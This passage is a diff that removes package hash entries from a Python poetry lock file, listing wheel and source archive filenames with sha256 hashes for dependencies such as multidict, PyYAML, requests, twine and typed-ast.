"multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"}, - {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"}, - {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"}, - {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"}, - {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"}, - {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"}, - {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"}, - {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"}, - {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"}, - {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"}, - {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"}, - {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"}, - {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"}, - {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"}, - {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"}, - {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"}, - {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"}, - {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"}, - {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"}, -] -mypy-extensions = [ - {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, - {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, -] -packaging = [ - {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"}, - {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"}, -] -pathspec = [ - {file = "pathspec-0.11.2-py3-none-any.whl", hash = "sha256:1d6ed233af05e679efb96b1851550ea95bbb64b7c490b0f5aa52996c11e92a20"}, - {file = "pathspec-0.11.2.tar.gz", hash = "sha256:e0d8d0ac2f12da61956eb2306b69f9469b42f4deb0f3cb6ed47b9cce9996ced3"}, -] -pkginfo = [ - {file = "pkginfo-1.9.6-py3-none-any.whl", hash = "sha256:4b7a555a6d5a22169fcc9cf7bfd78d296b0361adad412a346c1226849af5e546"}, - {file = "pkginfo-1.9.6.tar.gz", hash = "sha256:8fd5896e8718a4372f0ea9cc9d96f6417c9b986e23a4d116dda26b62cc29d046"}, -] -platformdirs = [ - {file = "platformdirs-4.0.0-py3-none-any.whl", hash = "sha256:118c954d7e949b35437270383a3f2531e99dd93cf7ce4dc8340d3356d30f173b"}, - {file = "platformdirs-4.0.0.tar.gz", hash = "sha256:cb633b2bcf10c51af60beb0ab06d2f1d69064b43abf4c185ca6b28865f3f9731"}, -] -pluggy = [ - {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"}, - {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"}, -] -pycparser = [ - {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, - {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, -] -pygments = [ - {file = "pygments-2.17.2-py3-none-any.whl", hash = "sha256:b27c2826c47d0f3219f29554824c30c5e8945175d888647acd804ddd04af846c"}, - {file = "pygments-2.17.2.tar.gz", hash = "sha256:da46cec9fd2de5be3a8a784f434e4c4ab670b4ff54d605c4c2717e9d49c4c367"}, -] -pytest = [ - {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, - {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, -] -pytest-mock = [ - {file = "pytest-mock-3.11.1.tar.gz", hash = "sha256:7f6b125602ac6d743e523ae0bfa71e1a697a2f5534064528c6ff84c2f7c2fc7f"}, - {file = "pytest_mock-3.11.1-py3-none-any.whl", hash = "sha256:21c279fff83d70763b05f8874cc9cfb3fcacd6d354247a976f9529d19f9acf39"}, -] -python-dotenv = [ - {file = "python-dotenv-0.21.1.tar.gz", hash = "sha256:1c93de8f636cde3ce377292818d0e440b6e45a82f215c3744979151fa8151c49"}, - {file = "python_dotenv-0.21.1-py3-none-any.whl", hash = "sha256:41e12e0318bebc859fcc4d97d4db8d20ad21721a6aa5047dd59f090391cb549a"}, -] -python-gitlab = [ - {file = "python-gitlab-3.15.0.tar.gz", hash = "sha256:c9e65eb7612a9fbb8abf0339972eca7fd7a73d4da66c9b446ffe528930aff534"}, - {file = "python_gitlab-3.15.0-py3-none-any.whl", hash = "sha256:8f8d1c0d387f642eb1ac7bf5e8e0cd8b3dd49c6f34170cee3c7deb7d384611f3"}, -] -python-semantic-release = [ - {file = "python-semantic-release-7.34.6.tar.gz", hash = "sha256:e9b8fb788024ae9510a924136d573588415a16eeca31cc5240f2754a80a2e831"}, - {file = "python_semantic_release-7.34.6-py3-none-any.whl", hash = "sha256:7e3969ba4663d9b2087b02bf3ac140e202551377bf045c34e09bfe19753e19ab"}, -] -pywin32-ctypes = [ - {file = "pywin32-ctypes-0.2.2.tar.gz", hash = "sha256:3426e063bdd5fd4df74a14fa3cf80a0b42845a87e1d1e81f6549f9daec593a60"}, - {file = "pywin32_ctypes-0.2.2-py3-none-any.whl", hash = "sha256:bf490a1a709baf35d688fe0ecf980ed4de11d2b3e37b51e5442587a75d9957e7"}, -] -pyyaml = [ - {file = "PyYAML-6.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d858aa552c999bc8a8d57426ed01e40bef403cd8ccdd0fc5f6f04a00414cac2a"}, - {file = "PyYAML-6.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fd66fc5d0da6d9815ba2cebeb4205f95818ff4b79c3ebe268e75d961704af52f"}, - {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:69b023b2b4daa7548bcfbd4aa3da05b3a74b772db9e23b982788168117739938"}, - {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:81e0b275a9ecc9c0c0c07b4b90ba548307583c125f54d5b6946cfee6360c733d"}, - {file = "PyYAML-6.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba336e390cd8e4d1739f42dfe9bb83a3cc2e80f567d8805e11b46f4a943f5515"}, - {file = "PyYAML-6.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:326c013efe8048858a6d312ddd31d56e468118ad4cdeda36c719bf5bb6192290"}, - {file = "PyYAML-6.0.1-cp310-cp310-win32.whl", hash = "sha256:bd4af7373a854424dabd882decdc5579653d7868b8fb26dc7d0e99f823aa5924"}, - {file = "PyYAML-6.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:fd1592b3fdf65fff2ad0004b5e363300ef59ced41c2e6b3a99d4089fa8c5435d"}, - {file = "PyYAML-6.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6965a7bc3cf88e5a1c3bd2e0b5c22f8d677dc88a455344035f03399034eb3007"}, - {file = "PyYAML-6.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f003ed9ad21d6a4713f0a9b5a7a0a79e08dd0f221aff4525a2be4c346ee60aab"}, - {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:42f8152b8dbc4fe7d96729ec2b99c7097d656dc1213a3229ca5383f973a5ed6d"}, - {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:062582fca9fabdd2c8b54a3ef1c978d786e0f6b3a1510e0ac93ef59e0ddae2bc"}, - {file = "PyYAML-6.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d2b04aac4d386b172d5b9692e2d2da8de7bfb6c387fa4f801fbf6fb2e6ba4673"}, - {file = "PyYAML-6.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e7d73685e87afe9f3b36c799222440d6cf362062f78be1013661b00c5c6f678b"}, - {file = "PyYAML-6.0.1-cp311-cp311-win32.whl", hash = "sha256:1635fd110e8d85d55237ab316b5b011de701ea0f29d07611174a1b42f1444741"}, - {file = "PyYAML-6.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:bf07ee2fef7014951eeb99f56f39c9bb4af143d8aa3c21b1677805985307da34"}, - {file = "PyYAML-6.0.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:855fb52b0dc35af121542a76b9a84f8d1cd886ea97c84703eaa6d88e37a2ad28"}, - {file = "PyYAML-6.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40df9b996c2b73138957fe23a16a4f0ba614f4c0efce1e9406a184b6d07fa3a9"}, - {file = "PyYAML-6.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a08c6f0fe150303c1c6b71ebcd7213c2858041a7e01975da3a99aed1e7a378ef"}, - {file = "PyYAML-6.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c22bec3fbe2524cde73d7ada88f6566758a8f7227bfbf93a408a9d86bcc12a0"}, - {file = "PyYAML-6.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8d4e9c88387b0f5c7d5f281e55304de64cf7f9c0021a3525bd3b1c542da3b0e4"}, - {file = "PyYAML-6.0.1-cp312-cp312-win32.whl", hash = "sha256:d483d2cdf104e7c9fa60c544d92981f12ad66a457afae824d146093b8c294c54"}, - {file = "PyYAML-6.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:0d3304d8c0adc42be59c5f8a4d9e3d7379e6955ad754aa9d6ab7a398b59dd1df"}, - {file = "PyYAML-6.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50550eb667afee136e9a77d6dc71ae76a44df8b3e51e41b77f6de2932bfe0f47"}, - {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1fe35611261b29bd1de0070f0b2f47cb6ff71fa6595c077e42bd0c419fa27b98"}, - {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:704219a11b772aea0d8ecd7058d0082713c3562b4e271b849ad7dc4a5c90c13c"}, - {file = "PyYAML-6.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:afd7e57eddb1a54f0f1a974bc4391af8bcce0b444685d936840f125cf046d5bd"}, - {file = "PyYAML-6.0.1-cp36-cp36m-win32.whl", hash = "sha256:fca0e3a251908a499833aa292323f32437106001d436eca0e6e7833256674585"}, - {file = "PyYAML-6.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:f22ac1c3cac4dbc50079e965eba2c1058622631e526bd9afd45fedd49ba781fa"}, - {file = "PyYAML-6.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b1275ad35a5d18c62a7220633c913e1b42d44b46ee12554e5fd39c70a243d6a3"}, - {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18aeb1bf9a78867dc38b259769503436b7c72f7a1f1f4c93ff9a17de54319b27"}, - {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:596106435fa6ad000c2991a98fa58eeb8656ef2325d7e158344fb33864ed87e3"}, - {file = "PyYAML-6.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa90d3f661d43131ca170712d903e6295d1f7a0f595074f151c0aed377c9b9c"}, - {file = "PyYAML-6.0.1-cp37-cp37m-win32.whl", hash = "sha256:9046c58c4395dff28dd494285c82ba00b546adfc7ef001486fbf0324bc174fba"}, - {file = "PyYAML-6.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:4fb147e7a67ef577a588a0e2c17b6db51dda102c71de36f8549b6816a96e1867"}, - {file = "PyYAML-6.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1d4c7e777c441b20e32f52bd377e0c409713e8bb1386e1099c2415f26e479595"}, - {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a0cd17c15d3bb3fa06978b4e8958dcdc6e0174ccea823003a106c7d4d7899ac5"}, - {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:28c119d996beec18c05208a8bd78cbe4007878c6dd15091efb73a30e90539696"}, - {file = "PyYAML-6.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e07cbde391ba96ab58e532ff4803f79c4129397514e1413a7dc761ccd755735"}, - {file = "PyYAML-6.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:49a183be227561de579b4a36efbb21b3eab9651dd81b1858589f796549873dd6"}, - {file = "PyYAML-6.0.1-cp38-cp38-win32.whl", hash = "sha256:184c5108a2aca3c5b3d3bf9395d50893a7ab82a38004c8f61c258d4428e80206"}, - {file = "PyYAML-6.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:1e2722cc9fbb45d9b87631ac70924c11d3a401b2d7f410cc0e3bbf249f2dca62"}, - {file = "PyYAML-6.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9eb6caa9a297fc2c2fb8862bc5370d0303ddba53ba97e71f08023b6cd73d16a8"}, - {file = "PyYAML-6.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c8098ddcc2a85b61647b2590f825f3db38891662cfc2fc776415143f599bb859"}, - {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5773183b6446b2c99bb77e77595dd486303b4faab2b086e7b17bc6bef28865f6"}, - {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b786eecbdf8499b9ca1d697215862083bd6d2a99965554781d0d8d1ad31e13a0"}, - {file = "PyYAML-6.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc1bf2925a1ecd43da378f4db9e4f799775d6367bdb94671027b73b393a7c42c"}, - {file = "PyYAML-6.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:04ac92ad1925b2cff1db0cfebffb6ffc43457495c9b3c39d3fcae417d7125dc5"}, - {file = "PyYAML-6.0.1-cp39-cp39-win32.whl", hash = "sha256:faca3bdcf85b2fc05d06ff3fbc1f83e1391b3e724afa3feba7d13eeab355484c"}, - {file = "PyYAML-6.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:510c9deebc5c0225e8c96813043e62b680ba2f9c50a08d3724c7f28a747d1486"}, - {file = "PyYAML-6.0.1.tar.gz", hash = "sha256:bfdf460b1736c775f2ba9f6a92bca30bc2095067b8a9d77876d1fad6cc3b4a43"}, -] -readme-renderer = [ - {file = "readme_renderer-37.3-py3-none-any.whl", hash = "sha256:f67a16caedfa71eef48a31b39708637a6f4664c4394801a7b0d6432d13907343"}, - {file = "readme_renderer-37.3.tar.gz", hash = "sha256:cd653186dfc73055656f090f227f5cb22a046d7f71a841dfa305f55c9a513273"}, -] -requests = [ - {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"}, - {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"}, -] -requests-toolbelt = [ - {file = "requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6"}, - {file = "requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06"}, -] -rfc3986 = [ - {file = "rfc3986-2.0.0-py2.py3-none-any.whl", hash = "sha256:50b1502b60e289cb37883f3dfd34532b8873c7de9f49bb546641ce9cbd256ebd"}, - {file = "rfc3986-2.0.0.tar.gz", hash = "sha256:97aacf9dbd4bfd829baad6e6309fa6573aaf1be3f6fa735c8ab05e46cecb261c"}, -] -secretstorage = [ - {file = "SecretStorage-3.3.3-py3-none-any.whl", hash = "sha256:f356e6628222568e3af06f2eba8df495efa13b3b63081dafd4f7d9a7b7bc9f99"}, - {file = "SecretStorage-3.3.3.tar.gz", hash = "sha256:2403533ef369eca6d2ba81718576c5e0f564d5cca1b58f73a8b23e7d4eeebd77"}, -] -semver = [ - {file = "semver-2.13.0-py2.py3-none-any.whl", hash = "sha256:ced8b23dceb22134307c1b8abfa523da14198793d9787ac838e70e29e77458d4"}, - {file = "semver-2.13.0.tar.gz", hash = "sha256:fa0fe2722ee1c3f57eac478820c3a5ae2f624af8264cbdf9000c980ff7f75e3f"}, -] -six = [ - {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, - {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, -] -smmap = [ - {file = "smmap-5.0.1-py3-none-any.whl", hash = "sha256:e6d8668fa5f93e706934a62d7b4db19c8d9eb8cf2adbb75ef1b675aa332b69da"}, - {file = "smmap-5.0.1.tar.gz", hash = "sha256:dceeb6c0028fdb6734471eb07c0cd2aae706ccaecab45965ee83f11c8d3b1f62"}, -] -tomli = [ - {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, - {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, -] -tomlkit = [ - {file = "tomlkit-0.12.3-py3-none-any.whl", hash = "sha256:b0a645a9156dc7cb5d3a1f0d4bab66db287fcb8e0430bdd4664a095ea16414ba"}, - {file = "tomlkit-0.12.3.tar.gz", hash = "sha256:75baf5012d06501f07bee5bf8e801b9f343e7aac5a92581f20f80ce632e6b5a4"}, -] -tqdm = [ - {file = "tqdm-4.66.1-py3-none-any.whl", hash = "sha256:d302b3c5b53d47bce91fea46679d9c3c6508cf6332229aa1e7d8653723793386"}, - {file = "tqdm-4.66.1.tar.gz", hash = "sha256:d88e651f9db8d8551a62556d3cff9e3034274ca5d66e93197cf2490e2dcb69c7"}, -] -twine = [ - {file = "twine-3.8.0-py3-none-any.whl", hash = "sha256:d0550fca9dc19f3d5e8eadfce0c227294df0a2a951251a4385797c8a6198b7c8"}, - {file = "twine-3.8.0.tar.gz", hash = "sha256:8efa52658e0ae770686a13b675569328f1fba9837e5de1867bfe5f46a9aefe19"}, -] -typed-ast = [ - {file = "typed_ast-1.5.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4bc1efe0ce3ffb74784e06460f01a223ac1f6ab31c6bc0376a21184bf5aabe3b"}, - {file = "typed_ast-1.5.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5f7a8c46a8b333f71abd61d7ab9255440d4a588f34a21f126bbfc95f6049e686"}, - {file = "typed_ast-1.5.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:597fc66b4162f959ee6a96b978c0435bd63791e31e4f410622d19f1686d5e769"}, - {file = "typed_ast-1.5.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d41b7a686ce653e06c2609075d397ebd5b969d821b9797d029fccd71fdec8e04"}, - {file = "typed_ast-1.5.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:5fe83a9a44c4ce67c796a1b466c270c1272e176603d5e06f6afbc101a572859d"}, - {file = "typed_ast-1.5.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d5c0c112a74c0e5db2c75882a0adf3133adedcdbfd8cf7c9d6ed77365ab90a1d"}, - {file = "typed_ast-1.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:e1a976ed4cc2d71bb073e1b2a250892a6e968ff02aa14c1f40eba4f365ffec02"}, - {file = "typed_ast-1.5.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c631da9710271cb67b08bd3f3813b7af7f4c69c319b75475436fcab8c3d21bee"}, - {file = "typed_ast-1.5.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b445c2abfecab89a932b20bd8261488d574591173d07827c1eda32c457358b18"}, - {file = "typed_ast-1.5.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc95ffaaab2be3b25eb938779e43f513e0e538a84dd14a5d844b8f2932593d88"}, - {file = "typed_ast-1.5.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61443214d9b4c660dcf4b5307f15c12cb30bdfe9588ce6158f4a005baeb167b2"}, - {file = "typed_ast-1.5.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6eb936d107e4d474940469e8ec5b380c9b329b5f08b78282d46baeebd3692dc9"}, - {file = "typed_ast-1.5.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e48bf27022897577d8479eaed64701ecaf0467182448bd95759883300ca818c8"}, - {file = "typed_ast-1.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:83509f9324011c9a39faaef0922c6f720f9623afe3fe220b6d0b15638247206b"}, - {file = "typed_ast-1.5.5-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:44f214394fc1af23ca6d4e9e744804d890045d1643dd7e8229951e0ef39429b5"}, - {file = "typed_ast-1.5.5-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:118c1ce46ce58fda78503eae14b7664163aa735b620b64b5b725453696f2a35c"}, - {file = "typed_ast-1.5.5-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4919b808efa61101456e87f2d4c75b228f4e52618621c77f1ddcaae15904fa"}, - {file = "typed_ast-1.5.5-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:fc2b8c4e1bc5cd96c1a823a885e6b158f8451cf6f5530e1829390b4d27d0807f"}, - {file = "typed_ast-1.5.5-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:16f7313e0a08c7de57f2998c85e2a69a642e97cb32f87eb65fbfe88381a5e44d"}, - {file = "typed_ast-1.5.5-cp36-cp36m-win_amd64.whl", hash = "sha256:2b946ef8c04f77230489f75b4b5a4a6f24c078be4aed241cfabe9cbf4156e7e5"}, - {file = "typed_ast-1.5.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2188bc33d85951ea4ddad55d2b35598b2709d122c11c75cffd529fbc9965508e"}, - {file = "typed_ast-1.5.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0635900d16ae133cab3b26c607586131269f88266954eb04ec31535c9a12ef1e"}, - {file = "typed_ast-1.5.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:57bfc3cf35a0f2fdf0a88a3044aafaec1d2f24d8ae8cd87c4f58d615fb5b6311"}, - {file = "typed_ast-1.5.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:fe58ef6a764de7b4b36edfc8592641f56e69b7163bba9f9c8089838ee596bfb2"}, - {file = "typed_ast-1.5.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d09d930c2d1d621f717bb217bf1fe2584616febb5138d9b3e8cdd26506c3f6d4"}, - {file = "typed_ast-1.5.5-cp37-cp37m-win_amd64.whl", hash = "sha256:d40c10326893ecab8a80a53039164a224984339b2c32a6baf55ecbd5b1df6431"}, - {file = "typed_ast-1.5.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:fd946abf3c31fb50eee07451a6aedbfff912fcd13cf357363f5b4e834cc5e71a"}, - {file = "typed_ast-1.5.5-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ed4a1a42df8a3dfb6b40c3d2de109e935949f2f66b19703eafade03173f8f437"}, - {file = "typed_ast-1.5.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:045f9930a1550d9352464e5149710d56a2aed23a2ffe78946478f7b5416f1ede"}, - {file = "typed_ast-1.5.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:381eed9c95484ceef5ced626355fdc0765ab51d8553fec08661dce654a935db4"}, - {file = "typed_ast-1.5.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bfd39a41c0ef6f31684daff53befddae608f9daf6957140228a08e51f312d7e6"}, - {file = "typed_ast-1.5.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8c524eb3024edcc04e288db9541fe1f438f82d281e591c548903d5b77ad1ddd4"}, - {file = "typed_ast-1.5.5-cp38-cp38-win_amd64.whl", hash = "sha256:7f58fabdde8dcbe764cef5e1a7fcb440f2463c1bbbec1cf2a86ca7bc1f95184b"}, - {file = "typed_ast-1.5.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:042eb665ff6bf020dd2243307d11ed626306b82812aba21836096d229fdc6a10"}, - {file = "typed_ast-1.5.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:622e4a006472b05cf6ef7f9f2636edc51bda670b7bbffa18d26b255269d3d814"}, - {file = "typed_ast-1.5.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1efebbbf4604ad1283e963e8915daa240cb4bf5067053cf2f0baadc4d4fb51b8"}, - {file = "typed_ast-1.5.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f0aefdd66f1784c58f65b502b6cf8b121544680456d1cebbd300c2c813899274"}, - {file = "typed_ast-1.5.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:48074261a842acf825af1968cd912f6f21357316080ebaca5f19abbb11690c8a"}, - {file = "typed_ast-1.5.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:429ae404f69dc94b9361bb62291885894b7c6fb4640d561179548c849f8492ba"}, - {file = "typed_ast-1.5.5-cp39-cp39-win_amd64.whl", hash = "sha256:335f22ccb244da2b5c296e6f96b06ee9bed46526db0de38d2f0e5a6597b81155"}, - {file = "typed_ast-1.5.5.tar.gz", hash = 